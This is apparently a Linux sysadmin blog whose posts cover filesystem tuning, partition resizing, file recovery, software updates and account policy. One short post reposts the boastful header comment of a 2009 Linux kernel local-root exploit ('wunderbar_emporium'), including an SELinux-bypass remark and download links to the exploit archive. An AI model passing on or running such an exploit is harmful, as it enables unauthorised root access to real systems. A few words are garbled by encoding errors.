Aug 20

If you’ve already installed Linux, your partitions are already set up and configured with particular filesystems. You may decide you want to modify this configuration, though. Some changes are tedious to implement. For instance, changing from one filesystem to another requires you to back up, create a new filesystem, and restore your files. One exception to this rule is changing from ext2fs to ext3fs. If you switch filesystems, you may be able to use filesystem-creation options to improve the performance of the new filesystem. Other changes can also be done relatively painlessly. These include defragmenting a disk (that is, repositioning file contents so that they’re not spread out over the entire partition) and resizing partitions to give you space where you need it.

Creating a Filesystem for Optimal Performance

Most filesystems support a variety of options that may impact performance. For instance, large allocation blocks can improve performance by reducing fragmentation and the number of operations needed to retrieve an entire file. Some of these options can be set only at filesystem creation time, but some can be changed after the fact. Not all of these features are available in all filesystems. Across all Linux filesystems, important and popular performance-enhancing (or performance-degrading) options include:

Allocation Block Size  As noted in the earlier section, "Minimizing Space Consumption," small allocation blocks can facilitate more efficient use of disk space, but the cost is a small degradation in disk-access speed. Therefore, to improve performance slightly, you can increase your block size. This option is not easily changed after creating a filesystem. With ext2fs or ext3fs, you can use the -b block-size option to mke2fs; with XFS, the -b size=block-size option to mkfs.xfs does the job. For ext2fs and ext3fs, block-size must be 1024, 2048, or 4096; with XFS, the block size can theoretically be any power-of-two multiple of 512 bytes up to 64KB (65536 bytes), although in practice you can only mount a filesystem with block sizes up to 4KB or 8KB using common CPUs. ReiserFS and Linux’s version of JFS do not yet support adjusting this feature.

Journaling Options  All the journaling filesystems support various journal options. One common option is the location of the journal. By placing the journal on a separate physical disk from the main filesystem, you can improve performance (provided the target disk isn’t too sluggish itself). You can use the -J device=journal-device option in mke2fs or the -j journal-device option in mkreiserfs or mkfs.jfs to set this feature. Ext3fs also supports setting the journal size with the -J size=journal-size option, where journal-size is specified in megabytes and must be between 1,024 and 102,400 filesystem blocks. Specifying a too-small journal may degrade performance, but setting one too large may rob you of too much disk space. If in doubt, let mke2fs decide on the journal size itself.

Reserved Blocks  Ext2fs and ext3fs reserve a number of blocks for use by the superuser (or some other user you specify). The default value of 5 percent reserved space may be overkill on large partitions or on less critical partitions (such as /home). You can gain a bit more space by using the -m reserved-percentage option to mke2fs. Changing this percentage won’t affect actual disk performance, but it may gain you just a bit more available disk space. You can change this option after you create a filesystem by passing the same parameter that mke2fs accepts to the tune2fs program, as in tune2fs -m 1 /dev/hda4 to set the reserved blocks percentage to 1.

Check Interval  Ext2fs and ext3fs force a filesystem check after a specified number of mounts or a specified amount of time between mounts. The idea is to catch errors that might creep onto the filesystem due to random disk write errors or filesystem driver bugs. You can change these intervals by using the -c max-mount-counts and -i interval-between-checks options to tune2fs. For the latter option, you specify an interval in days, weeks, or months by providing a number followed by a d, w, or m, respectively. Altering the check interval won’t modify day-to-day performance, but it will change how frequently the computer performs a full disk check on startup. This disk check can be quite lengthy, even for ext3fs; it doesn’t restrict itself to recent transactions as recorded in the journal, as a forced check after a system crash does.

Directory Hash  ReiserFS uses a sorted directory structure to speed directory lookups, and mkreiserfs provides several options for the hash (a type of lookup algorithm) used for this purpose. You set this option with the -h hash option to mkreiserfs, where hash can be r5, rupasov, or tea. Some hashes may yield improved or degraded performance for specific applications. The Squid Web proxy documentation suggests using the rupasov hash, whereas the qmail documentation recommends r5, for instance. One problem with the r5 and rupasov hashes is that they can greatly slow file creation in directories with very many (a million or so) files. In fact, rupasov is very prone to such problems, and so should be avoided on most systems. The tea hash is much less subject to this problem, but it is also much slower than r5 for directories with more typical numbers of files. In general, you should use the default r5 hash unless you know you’ll be creating many files or the disk will be used by one performance-critical application, in which case checking the application’s documentation or doing a web search for advice may be worthwhile.

Inode Options  XFS enables you to set the inode size at filesystem creation time using the -i size=value option to mkfs.xfs. The minimum and default size is 256 bytes; the maximum is 2,048 bytes. (The inode size can’t exceed half the allocation block size, though.) One impact of the inode size option relates to small file access times; because XFS tries to store small files within the inode whenever possible, specifying a large inode enables storing larger files within the inode. Doing so will speed access to these files. Therefore, if a partition will store many small files (under 2KB), you may want to increase the inode size. Depending on the exact mix of file sizes, the result may save or waste disk space. If few files will be smaller than 2KB, there’s little point to increasing the inode size.

The default filesystem creation options usually yield acceptable performance. Modifying these options can help in some unusual cases, such as filesystems storing huge numbers of files or a computer that’s restarted frequently. I don’t recommend trying random changes to these options unless you intend to run tests to discover what works best for your purposes.

Converting Ext2fs to Ext3fs

One of the advantages of ext3fs over the other journaling filesystems is that it’s easy to turn an existing ext2 filesystem into an ext3 filesystem. You can do this using the tune2fs program and its -j option:

# tune2fs -j /dev/hda4

If the filesystem to which you add a journal is mounted when you make this change, tune2fs creates the journal as a regular file, called .journal, in the filesystem’s root directory. If the filesystem is unmounted when you run this command, the journal file doesn’t appear as a regular file. In either case, the filesystem is now an ext3 filesystem, and it can be used just as if you created it as an ext3 filesystem initially. If necessary, you may be able to access the filesystem as ext2fs (say, using a kernel that has no ext3fs support); however, some older kernels and non-Linux utilities may refuse to access it in this way, or they may provide merely read-only access.

On rare occasion, an ext3 filesystem’s journal may become so corrupted that it interferes with disk recovery operations. In such cases, you can convert the filesystem back into an ext2 filesystem using the debugfs tool:

# debugfs -w /dev/sda4
debugfs 1.32 (09-Nov-2002)
debugfs:  features -needs_recovery -has_journal
Filesystem features: dir_index filetype sparse_super
debugfs:  quit

After performing this operation, you should be able to use fsck.ext2 with its -f option, as described in the upcoming section, "Filesystem Check Options," to recover the filesystem. The newly-deactivated journal will cause fsck.ext2 to report errors even if the filesystem did not previously have them. If you like, you can then add the journal back by using tune2fs, as just described.

Warning

Don’t try to remove the journal from a mounted filesystem.

Defragmenting a Disk

Microsoft filesystems, such as the File Allocation Table (FAT) filesystem and the New Technology File System (NTFS), suffer greatly from disk fragmentation—the tendency of files to be broken up into many noncontiguous segments. Disk fragmentation degrades performance because the OS may need to move the disk head more frequently and over greater distances to read a fragmented file than to read a nonfragmented file.

Fortunately, Linux’s native filesystems are all far more resistant to fragmentation than are Windows filesystems. Therefore, most Linux users don’t bother defragmenting their disks. In fact, defragmentation tools for Linux are hard to come by. One that does exist is called defrag, but this package doesn’t ship with most distributions. Because it is an older tool, it won’t work with most modern ext2fs partitions, much less any of the journaling filesystems.

If you think your system may be suffering from fragmentation problems, you can at least discover how fragmented your ext2 or ext3 filesystems are by performing an fsck on them. You may need to force a check by using the -f parameter. This action will produce, among other things, a report on the fragmentation on the disk:

/dev/hda5: 45/8032 files (2.2% non-contiguous), 4170/32098 blocks

This report indicates that 2.2 percent of the files are noncontiguous (that is, fragmented). Such a small amount of fragmentation isn’t a problem. Unfortunately, the fsck tools for other journaling filesystems don’t return this information, so you have no indicator of fragmentation on these filesystems. If you truly believe that fragmentation has become a problem, you may be able to improve matters by backing up the partition, creating a fresh filesystem, and then restoring the files. This procedure is likely to take far longer than the time saved in disk accesses over the next several months or years, though, so I only recommend doing it if you want to change filesystem types or have some other reason (such as replacing a hard disk) to engage in this activity.

Note

As a general rule, fragmentation becomes a problem only if your disk is almost full. On a nearly full disk, Linux may have trouble locating a large enough block of free space to fit a file without fragmenting it. If you almost fill a disk and then delete files, the remaining files may or may not be fragmented, depending on which ones you deleted. For this reason, keeping your partitions from filling up is best. As a general rule, anything less than 80 to 90 percent full is fine from a fragmentation perspective.

Resizing Filesystems

All too frequently, you discover only after installing Linux that your partitions aren’t the optimum size. For instance, you might have too much room in /usr and not enough room in /home. Traditional fixes for this problem include using symbolic links to store some directories that are nominally on one partition on another partition; and backing up, repartitioning, and restoring data. In many cases, a simpler approach is to use a dynamic partition resizer. Fortunately, partition resizers exist for the most popular Linux filesystems, as well, so you can use these tools to manage your Linux installation.

Warning

Dynamic partition resizers are inherently dangerous. In the event of a power outage, system crash, or bug, they can do serious damage to a partition. You should always back up the data on any partition you resize. Also, you should never run a dynamic partition resizer on a partition that’s currently mounted. If necessary, boot a Linux emergency system to resize your partitions.

Resizing Ext2fs and Ext3fs

Several tools exist to resize ext2 and ext3 filesystems:

resize2fs  This program ships with the e2fsprogs package included with most distributions. The resize2fs program is fairly basic in terms of options. At a minimum, you pass it the device file associated with the partition, as in resize2fs /dev/hda4. This command resizes the filesystem on /dev/hda4 to match the size of the partition. You can also pass the partition size in allocation blocks, as in resize2fs /dev/hda4 256000 to resize a filesystem to 256,000 blocks. The resize2fs program doesn’t resize partitions, just the filesystems they contain. Therefore, you must use resize2fs in conjunction with fdisk to resize a partition and its filesystem. If you want to shrink a filesystem, you should do so first and then use fdisk to shrink the partition to match. If you want to grow a partition, you use fdisk first and then resize2fs. Because getting filesystem and partition sizes to match is tricky, it’s usually best to forgo resize2fs in favor of GNU Parted or PartitionMagic.

GNU Parted  This program provides both filesystem and partition resizing at once, so it’s easier to use than resize2fs. It’s described in more detail shortly, in "Using GNU Parted."

PartitionMagic  This commercial program from PowerQuest (http://www.powerquest.com) supports integrated filesystem and partition resizing operations of FAT, NTFS, ext2fs, ext3fs, and Linux swap partitions. PartitionMagic is easier to use than other ext2fs and ext3fs partition resizers, but it runs only from DOS or Windows. (The package ships with a DOS boot floppy image and a bootable CD-ROM, so it’s still useable on a Linux-only system.)

Resizing ReiserFS

Two tools are available for resizing ReiserFS:

resize_reiserfs  This tool is ReiserFS’s equivalent of the resize2fs program. Like resize2fs, resize_reiserfs resizes the filesystem, but not the partition in which it resides, so you must use this tool in conjunction with fdisk. If you only pass the program the partition identifier, it resizes the filesystem to fit the partition. If you pass an -s option and filesystem size, the program resizes the partition to the requested size, which you can specify in bytes, kilobytes, megabytes, or gigabytes (the last three options require K, M, or G suffixes, respectively). Alternatively, you can specify a change to the partition size by prefixing the size with a minus (-) or plus (+) sign. For instance, resize_reiserfs -s -500M /dev/sda5 reduces the size of the filesystem on /dev/sda5 by 500MB.

GNU Parted  According to its web page, this program supports ReiserFS as well as other filesystems. Unfortunately, as of version 1.6.4, this support is more theoretical than real, because it relies on libraries that aren’t present on most distributions, and that even a fresh build can’t find when everything’s installed according to directions. With luck, though, this support will improve in the future.

The ReiserFS resizing tools are not as mature as are those for resizing ext2 and ext3 filesystems. In fact, resize_reiserfs displays warnings about the software being beta.

Resizing XFS

XFS has long included a partition-resizing tool, xfs_growfs. As the name implies, this program is designed for increasing a filesystem’s size, not decreasing it. Unlike most partition-resizing tools, xfs_growfs is designed to work only on a mounted filesystem. The safest way to use it is to unmount the filesystem, delete the partition using fdisk, create a new partition in its place, mount the filesystem, and then call xfs_growfs:

# xfs_growfs /mount/point

As you might guess, /mount/point is the partition’s mount point. You may also add the -D size option to specify the filesystem size in allocation blocks. Various other options are also available, as described in the xfs_growfs man page.

Although GNU Parted’s web page doesn’t mention XFS support, the source code does include an XFS subdirectory. Parted refuses to work on XFS partitions, but this may change in the future.

Resizing JFS

JFS includes a rather unusual partition-resizing ability: It’s built into the kernel’s JFS driver. You can use this feature to increase, but not to decrease, the size of the filesystem. As with most other partition-resizing tools, you must modify the partition size first by using fdisk to delete the partition and then recreate it with a larger size. After you’ve done this, you should mount the partition as you normally do and then issue the following command:

# mount -o remount,resize /mount/point

This command resizes the filesystem mounted at /mount/point to occupy all the available space in its partition. No other partition-resizing tools are available for JFS, although there is a JFS subdirectory in the GNU Parted source code, suggesting that Parted may support JFS in the future.

Using GNU Parted

Because Parted is the most sophisticated open source partition resizer, it deserves more attention. You can pass it a series of commands directly or use it in an interactive mode. The latter is more likely to be helpful for normal one-time uses. Passing commands to Parted enables you to write scripts to help automate partition resizing. Typically, you launch Parted in interactive mode by typing the program’s name followed by the device on which you want to operate. You can then type commands to resize, create, delete, and otherwise manipulate partitions:

# parted /dev/sda
(parted) print
Disk geometry for /dev/scsi/host0/bus0/target5/lun0/disc: 0.000-96.000 megabytes
Disk label type: msdos
Minor    Start       End     Type      Filesystem  Flags
1          0.023     48.000  primary   ext2
2         48.000     96.000  primary   ext2
(parted) rm 2
(parted) resize 1 0.00 96.00
(parted) quit

This example deletes the second partition on the disk and resizes the first partition to fill all the available space. Unlike most Linux partition-management tools, Parted works in figures of megabytes. This fact can make translating Parted’s partition start and end points to and from the cylinder boundaries upon which fdisk and other tools work tricky. Table 1 summarizes some of the most common and important Parted commands. Although many commands nominally require arguments, in practice they don’t; instead, they prompt for the required information when Parted is run in interactive mode. The part-type code is p for primary partitions, e for extended partitions, and l for logical partitions.

Table 1: Common Parted Commands

Parted Command

Effect

help [command]

Displays information on how to use a command. If the command option is omitted, it displays a summary of all commands.

mkfs partn fstype

Creates a filesystem of fstype on partition number partn.

mkpart part-type [fstype] start end

Creates a partition, giving it the partition type code part-type, with start and end as its start and end points.

mkpartfs part-type fstype start end

Works like mkpart, but also creates a filesystem in the new partition.

move partn start end

Moves the partition to a new location on the disk.

print [partn]

Displays the partition table or, if partn is specified, more detailed information on the partition.

rescue start end

Attempts to recover a partition that was deleted.

resize partn start end

Resizes the specified partition to the specified size.

rm partn

Deletes the specified partition.

select device

Begins editing a new disk device.

 

Resizing Partitions

Most of the filesystem-resizing tools require that you modify the partition using fdisk. (GNU Parted and PartitionMagic are exceptions to this rule.) Precisely how you modify the filesystem’s carrier partition depends on whether you’ll be shrinking or growing the partition. The simplest case is growing a partition. When doing this, you should follow these steps:

  1. Launch fdisk on the disk in question.

  2. Type d in fdisk to delete the partition you want to grow. You’ll be asked for the partition number.

  3. Type n in fdisk to create a new partition in place of the old one. You’ll be asked for the partition number and the start and end cylinders. The start cylinder must be the same as it was originally, and of course the end cylinder should be larger than the original.

  4. Type w in fdisk to write your changes to disk and exit.

  5. Follow the procedure for your filesystem-resizing tool to increase the filesystem size.

Of course, in order to grow a partition, there must be free space on the disk into which to expand the partition. This normally means that you’ll have already deleted or shrunk a partition that follows the one you want to expand. If you want to expand a filesystem into space that’s before it on the disk, your job is much harder. It’s possible to expand the carrier partition as just described, but specifying an earlier starting point, and then use dd to copy a filesystem from later in the new partition to earlier in the partition. This task is tricky, though, because you must compute precisely how far into the newly expanded partition the existing filesystem begins. An error can easily wipe out all your data. Thus, I don’t recommend attempting this task; instead, try creating a new filesystem in the earlier space and mount it at some convenient place in your directory tree. If the empty space is larger than the partition you want to move, you can create a new partition, move the original, verify that the copied partition is intact, delete the original partition, and expand the copied partition and the filesystem it contains.

In order to reduce the size of the filesystem, you must match the size of the partition to the filesystem, which can be a tricky task. Fortunately, there is a procedure that can make this task less error-prone:

  1. Shrink the filesystem, using your filesystem-resizing tool, to a value that’s smaller than you intend. For instance, if you want to shrink a 700MB partition to 500MB, shrink it to 400MB.

  2. Use fdisk to resize the partition to the target size, such as 500MB. This target size should be larger than the filesystem by a wide enough margin to be comfortable.

  3. Use the partition-resizing tool to expand the filesystem into the extra space on the partition, filling it exactly.

As with increasing the size of the filesystem, the start point of the filesystem must remain untouched. When moving space between filesystems, this requirement can create an awkward situation: You can shrink an earlier partition, but expanding the next partition into the freed space is risky.

Tagged with:
Aug 18

Recovering Deleted Files

Perhaps the most common type of filesystem problem is files that are accidentally deleted. Users frequently delete the wrong files or delete a file only to discover that it’s actually needed. Windows system users may be accustomed to undelete utilities, which scour the disk for recently deleted files in order to recover them. Unfortunately, such tools are rare on Linux. You can make undeletion easier by encouraging the use of special utilities that don’t really delete files, but instead place them in temporary holding areas for deletion later. If all else fails, you may need to recover files from a backup.

Trash Can Utilities

One of the simplest ways to recover "deleted" files is to not delete them at all. This is the idea behind a trash can—a tool or procedure to hold onto files that are to be deleted without actually deleting them. These files can be deleted automatically or manually, depending on the tool or procedure. The most familiar form of trash can utility for most users, and the one from which the name derives, is the trash can icon that exists in many popular GUI environments, including KDE and GNOME. To use a GUI trash can, you drag files you want to delete to its icon. The icon is basically just a pointer to a specific directory that’s out of the way or hidden from view, such as ~/Desktop/Trash or ~/.gnome-desktop/Trash. When you drag a file to the trash can, you’re really just moving it to that directory. If you subsequently decide you want to undelete the file, you can click or double-click the trash can icon to open a file browser on the trash directory. This enables you to drag the files you want to rescue out of the trash directory. Typically, files are only deleted from the trash directory when you say so by right-clicking the trash can icon and selecting an option called Empty Trash or something similar.

When you’re working from the command line, the rm command is the usual method of deleting files, as in rm somefile.txt. This command doesn’t use anything akin to the trash directory by default, and depending on your distribution and its default settings, rm may not even prompt you to be sure you’re deleting the files you want to delete. You can improve rm’s safety considerably by forcing it to confirm each deletion by using the -i option, as in rm -i somefile.txt. In fact, you may want to make this the default by creating an alias in your shell startup scripts, "Mastering Shells and Shell Scripting." For instance, the following line in ~/.bashrc or /etc/profile will set up such an alias for bash:

alias rm='rm -i'

This configuration can become tedious if you use the -r option to delete an entire directory tree, though, or if you simply want to delete a lot of files by using wildcards. You can override the alias by specifying the complete path to rm (/bin/rm) when you type the command.

Forcing confirmation before deleting files can be a useful preventive measure, but it’s not really a way of recovering deleted files. One simple way to allow such recovery is to mimic the GUI environments’ trash cans—instead of deleting files with rm, move them to a holding directory with mv. You can then empty the holding directory whenever it’s convenient. In fact, if you use both a command shell and a GUI environment that implements a trash can, you can use the same directory for both.

If you or your users are already familiar with rm, you may find it difficult to switch to using mv. It’s also easy to forget how many files have been moved into the trash directory, and so disk space may fill up. One solution is to write a simple script that takes the place of rm, but that moves files to the trash directory. This script can simultaneously delete files older than a specified date or delete files if the trash directory contains more than a certain number of files. Alternatively, you could create a cron job to periodically delete files in the trash directory. An example of such a script is saferm, which is available from http://myocard.com/sites/linker/pages/linux/saferm.html. To use saferm or any similar script, you install it in place of the regular rm command, create an alias to call the script instead of rm, or call it by its true name. For instance, the following alias will work:

alias rm='saferm'

In the case of saferm, the script prompts before deleting files, but you can eliminate the prompt by changing the line that reads read answer to read answer=A and commenting out the immediately preceding echo lines. The script uses a trash directory in the user’s home directory, ~/.trash. When users need to recover "deleted" files, they can simply move them out of ~/.trash. This specific script doesn’t attempt to empty the trash bin, so users must do this themselves using the real rm; or you or your users can create cron jobs to do the task.

File Recovery Tools

Undelete utilities for Linux are few and far between. The Linux philosophy is that users shouldn’t delete files they really don’t want to delete, and if they do, they should be restored from backups. Nonetheless, in a pinch there are some tricks you can use to try to recover accidentally deleted files.

Note

Low-level disk accesses require full read (and often write) privileges to the partition in question. Normally, only root has this access level to hard disks, although ordinary users may have such access to floppies. Therefore, normally only root may perform low-level file recoveries.

One of these tricks is the recover utility, which is headquartered at http://recover.sourceforge.net/linux/recover/ and available with most Linux distributions. Unfortunately, this tool has several drawbacks. The first is that it was designed for ext2fs, and so it doesn’t work with most journaling filesystems. (It may work with ext3fs, though.) Another problem is that recover takes a long time to do anything, even on small partitions. I frequently see network programs such as web browsers and mail clients crash when recover runs. Finally, in my experience, recover frequently fails to work at all; if you type recover /dev/sda4, for instance, to recover files from /dev/sda4, the program may churn for a while, consume a lot of CPU time, and return with a Terminated notice. In sum, recover isn’t a reliable tool, but you might try it if you’re desperate. If you do try to run it, I recommend shutting down unnecessary network-enabled programs first.

Another method of file recovery is to use grep to search for text contained in the file. This approach is unlikely to work on anything but text files, and even then it may return a partial file or a file surrounded by text or binary junk. To use this approach, you type a command such as the following:

# grep -a -B5 -A100 "Dear Senator Jones" /dev/sda4 > recover.txt

This command searches for the text Dear Senator Jones on /dev/sda4 and returns the five lines before (-B5) and the 100 lines after (-A100) that string. The redirection operator stores the results in the file recover.txt. Because this operation involves a scan of the entire raw disk device, it’s likely to take a while. (You can speed matters up slightly by omitting the redirection operator and instead cutting and pasting the returned lines from an xterm into a text editor; this enables you to hit Ctrl+C to cancel the operation once it’s located the file. Another option is to use script to start a new shell that copies its output to a file, so you don’t need to copy text into an editor.) This approach also works with any filesystem. If the file is fragmented, though, it will only return part of the file. If you misjudge the size of the file in lines, you’ll either get just part of the file or too much—possibly including binary data before, after, or even within the target file.

Restoring Files from a Backup

"Protecting Your System with Backups," describes system backup procedures. That chapter also includes information on emergency recovery procedures—restoring most or all of a working system from a backup. Such procedures are useful after a disk failure, security breach, or a seriously damaging administrative blunder. System backups can also be very useful in restoring deleted files. In this scenario, an accidentally deleted file can be restored from a backup. One drawback to this procedure is that the original file must have existed prior to the last regular system backup. If your backups are infrequent, the file might not exist. Even if you make daily backups, this procedure is unlikely to help if a user creates a file, quickly deletes it, and then wants it back immediately. A trash can utility is the best protection against that sort of damage.

As an example, suppose you create backups to tape using tar. You can recover files from this backup by using the –extract (-x) command. Typically, you also pass the –verbose (-v) option so that you know when the target file has been restored, and you use –file (-f) to point to the tape device file. You must also pass the name of the file to be restored:

# tar -xvf /dev/st0 home/al/election.txt

This command recovers the file home/al/election.txt from the /dev/st0 tape device. A few points about this command require attention:

Permissions  The user who runs the command must have read/write access to the tape device. This user must also have write permission to the restore directory (normally, the current directory). Therefore, root normally runs this command, although other users may have sufficient privileges on some systems. Ownership and permissions on the restored file may change if a user other than root runs the command.

Filename Specification  The preceding command omitted the leading slash (/) in the target filename specification (home/al/election.txt). This is because tar normally strips this slash when it writes files, so when you specify files for restoration, the slash must also be missing. A few utilities and methods of creating a backup add a leading ./ to the filename. If your backups include this feature, you must include it in the filename specification to restore the file.

Restore Directory  Normally, tar restores files to the current working directory. Thus, if you type the preceding command while in /root, it will create a /root/home/al/election.txt file (assuming it’s on the tape). I recommend restoring to an empty subdirectory and then moving the restored file to its intended target area. This practice minimizes the risk that you might mistype the target file specification and overwrite a newer file with an older one, or even overwrite the entire Linux installation with the backup.

Unfortunately, tar requires that you have a complete filename, including its path, ready in order to recover a file. If you don’t know the exact filename, you can try taking a directory of the tape by typing tar tvf /dev/st0 (substituting another tape device filename, if necessary). You may want to pipe the result through less or grep to help you search for the correct filename, or redirect it to a file you can search.

Tip

You can keep a record of files on a tape at backup time to simplify searches at restore time. Using the –verbose option and redirecting the results to a file will do the trick. Some incremental backup methods automatically store information on a backup’s contents, too. Some backup tools, such as the commercial Backup/Recover Utility (BRU; http://www.bru.com), store an index of files on the tape. This index enables you to quickly scan the tape and select files for recovery from the index

Tagged with:
Aug 15

/* dedicated to my best friend in the whole world, Robin Price
   the joke is in your hands

   just too easy — some nice library functions for reuse here though

   credits to julien tinnes/tavis ormandy for the bug

   may want to remove the __attribute__((regparm(3))) for 2.4 kernels,
   I have no time to test

spender@www:~$ cat redhat_hehe
I bet Red Hat will wish they closed the SELinux vulnerability when they
were given the opportunity to.  Now all RHEL boxes will get owned by
leeches.c :p

fd7810e34e9856f77cba67f291ba115f33411ebd
d4b0e413ebf15d039953dfabf7f9a2d1

thanks to Dan Walsh for the great SELinux bypass even on "fixed" SELinux
policies

and nice work Linus on trying to silently fix an 8 year old
vulnerability, leaving vendors without patched kernels for their users.

  use ./wunderbar_emporium.sh for everything

don’t have mplayer? watch an earlier version of the exploit at:
http://www.youtube.com/watch?v=arAfIp7YzZ4

*/

http://www.grsecurity.net/~spender/wunderbar_emporium.tgz
back: http://milw0rm.com/sploits/2009-wunderbar_emporium.tgz

Tagged with:
Aug 12
Keeping the System Up to Date

Many compromised systems owe their inglorious compromised status to lack of appropriate maintenance. A few minutes spent checking for and installing software updates on a regular basis can save uncountable hours of work later, because updated software frequently includes fixes for security bugs. If you update buggy software quickly enough, would-be intruders will not be able to exploit security vulnerabilities.

The Importance of Server Updates

Software bugs can take many forms and have many different types of effects. Bugs can corrupt data, crash the affected program, or make the program behave in some odd way. Some bugs are security-related. They may allow a person to write arbitrary files in arbitrary locations (potentially overwriting critical configuration files), or give the abuser the ability to run programs under some other username. In sum, such bugs can compromise the system, giving a normal user superuser privileges.

Servers, like any other program, can be buggy. Buggy servers are particularly important because they’re potentially more accessible than are buggy local programs. If a non-network program (say, man) contains a security-related bug, only local users can exploit the bug. Assuming your users are trustworthy, and assuming a cracker hasn’t gained local access to your system, such a bug won’t cause harm. (Of course, those assumptions aren’t always valid, so fixing such bugs is important.) Many servers, by contrast, are accessible to the world at large. If a flaw in a Web server allows any user to take control of the computer, then that Web server is vulnerable to attack from just about anybody. Thus, security bugs in servers are particularly critical, and it’s vital you protect yourself against them.

The problem is exacerbated by the fact that many servers run as root. If a program (server or nonserver) that runs as an ordinary user is compromised, chances are little damage can be done with it. For instance, such a program can’t ordinarily rewrite your /etc/passwd file. If a program that runs as root is compromised, though, the attacker has much greater power; if such a program can be made to write arbitrary files, changing /etc/passwd is very possible. Many servers need root privileges to function correctly. For instance, root access is needed to provide login services, or even to listen to the first 1024 ports, on which most servers run. (A super server runs as root, but can spawn a server that runs as another user, even when it serves a sub-1024 port.)

For all of these reasons, it’s critical that you keep your servers up to date. You don’t necessarily need to perform every server update, because many server updates exist to add features or fix nonsecurity bugs that might not affect you. You should upgrade whenever an update emerges that fixes a security bug, though.

How to Monitor for Updated Software

There are several ways to look for updated software packages:

  • Software package Web sites and mailing lists? Most software packages, including most servers, have official Web sites, mailing lists, and occasionally newsgroups or other communication forums. You can monitor these resources on a regular basis to locate software updates. This approach can be tedious, though; a Linux system may have a dozen or more servers installed, and monitoring all the relevant forums can be difficult at best. This approach is best reserved for unusual packages梩hose that aren’t part of your normal distribution’s software mixnd perhaps for very popular servers you might be running.

  • Your distribution’s Web site? All distributions have Web pages that include information on software updates. Distribution maintainers do the work of monitoring various security resources, including the Web pages for the individual server packages included in the distribution. This provides you with a one-stop location for security and other update information. The drawback is that it may take some time for a security fix to filter down from its original source to your distribution’s Web page. In a best-case scenario, the delay might be just a few minutes, but it’s more likely to be a few hours or even days.

  • Generic security information sources? The upcoming section, "Keeping Abreast of Security Developments," describes resources for information on security-related developments. These can be extremely useful and important. They usually include information on workarounds to problems, if they exist, so you may be able to take steps to minimize the risk before an official fix is available. You’ll have to go back to the program maintainer or your distribution’s updates page to obtain fixed software, though.

In most cases, some combination of the last two approaches is a good way to keep an eye on security developments. Reading your servers’ Web sites can also be important, particularly if you’re using unusual servers that aren’t officially supported by your distribution. A quick check of two or three Web pages or newsgroups once a day can save untold hours of work recovering from a break-in. Even a once-a-week check is better than nothing, and a periodic comparison of installed packages against the latest versions available can help catch updates that might have slipped through the cracks, as it were.

Automatic Software Update Procedures

Unfortunately, manually checking for software updates can be tedious at best. For this reason, there are several tools available to help automate the process. These include the following:

  • apt-get? This program is a standard part of the Debian distribution and its derivatives. It’s used for installing software, and it can also check for updates to already installed packages. Specifically, typing apt-get update followed by apt-get dist-upgrade will retrieve updated package information and then upgrade any packages that have newer versions. Replace the second command with apt-get -s -u upgrade to receive a report on new packages without actually installing them. Using apt-get in this way will only work, however, if you list at least one Debian package distribution site in the /etc/apt/sources.list file. There are also ports of apt-get (part of the larger apt package) for RPM-based systems, such as the one created by Connectiva (http://distro.conectiva.com/projetos/42) and apt4rpm (http://apt4rpm.sourceforge.net).

  • Red Hat’s Update Agent? Red Hat uses a package it calls the Update Agent to help keep systems up to date. This package requires you to register with Red Hat, and the program sends information on your computer’s hardware and software to Red Hat. It can then keep your system updated. Configuration and use of the program is moderately complex, so you should consult its documentation at http://www.redhat.com/docs/manuals/RHNetwork/ref-guide/ for more information.

Automatic security updates are desirable in many ways, because they can help protect you against security breaches. They aren’t without their drawbacks, though. By giving an automatic process control of your computer, you’re entrusting it with a huge responsibility. Automatic updates can and do fail in various ways. For instance, an updated package might include a new bug or an incompatibility with another important package (especially if you’ve mixed packages from your distribution with others you build yourself or install from tarballs). It’s also conceivable that a cracker could break into the automatic update site or a DNS server in order to deliver modified packages. Because Debian packages sometimes include installation scripts that require human interaction, you shouldn’t run apt-get in a cron job or other automated procedure; you should run it manually, even if you plan to do so on a regular basis. (Using apt-get -s -u upgrade in a cron job should be safe, though.) These tools don’t always differentiate between security updates and others that are less critical, but which might cause problems for your system.

On the whole, automated software updates can be quick and convenient, but I recommend using them only in a strictly supervised manner. Ideally, you should be able to authorize individual upgrades so as to head off problems due to an overzealous update agent. This is an area of active development, so it’s likely that these tools will become more sophisticated and helpful in the future.

Tagged with:
Aug 10

Controlling Accounts and Passwords

If a server exists, it’s a potential door into your computer. There are several different ways to lock this door. One is to use firewall tools like iptables . Another, which works only with some servers, is to pay careful attention to user accounts and passwords on the computer. Servers that use these features can become vulnerable if the computer hosts unused accounts or if passwords fall into the wrong hands. This method of control requires a partnership between you as a system administrator and all of your users, so it’s important that you communicate the risks of poor password choice, password use over unencrypted connections, and so on to your users.

Account Creation Procedures and Policies

The first step in protecting your system through account security is to develop and follow appropriate procedures and policies for the creation of accounts. To use the analogy of servers as doors, every account is a key that can open a door (often several doors). By minimizing the number of accounts on the computer, you reduce the risk that a key to enter your system will be abused. Of course, many servers need user accounts. Without user accounts, a file-sharing server is of limited utility, an FTP server can be used only for anonymous access, and so on. The trick is to determine when you really need to create a particular user account.

On some servers, the answer is simple: You don’t create user accounts least, not for anybody but a handful of administrators (perhaps just one).  Many servers, such as font, DHCP, and time servers, don’t need user accounts, and so such computers can easily do without user accounts. Other server systems, such as Web and FTP servers, may or may not need user accounts, depending upon precisely how they’re to be used. Remote login servers are usually run on computers that host many user accounts, so these systems always require user accounts.

Assuming a computer needs ordinary user accounts, you should have a clearly defined policy regarding use of that computer that you can use to guide when to create an account. For instance, a computer in a university’s physics department might exist for use by faculty, staff, and students associated with that department, so you should have a policy to create accounts only for those individuals. Formalizing these policies can help avoid an expansion that might be undesirable from a security point of view. You can change these policies if they become too constricting, but it’s easy for a system to acquire unused or unnecessary accounts if your account-creation policies are too lax or informal. This formalization is particularly important if the computer has many users.

You may also want to develop scripts or a checklist to follow when creating user accounts. One particularly important detail in this process is how you set the password. The upcoming section, "Setting Good Passwords," addresses this issue. You should also create an appropriate default permissions system for your computer. For instance, you might want to create separate project groups and assign users to specific groups, and assign permissions on home directories to restrict who may access whose files. Appropriate policies vary greatly from one environment to another, so you’ll have to develop your settings with your particular needs in mind. In an open environment, loose home directory permissions such as 0755 or even 0775 may be in order, with a matching umask value for file creation; but in an environment in which intra-system security is more important, you may need to set tight 0700 home directory permissions with restrictive umasks.

Monitoring Account Usage

Once you’ve created accounts for your users, you may want to monitor those accounts to see that they aren’t abused. There are two key aspects to this monitoring: Checking for inactive accounts and checking for abuses of active accounts.

Handling Inactive Accounts

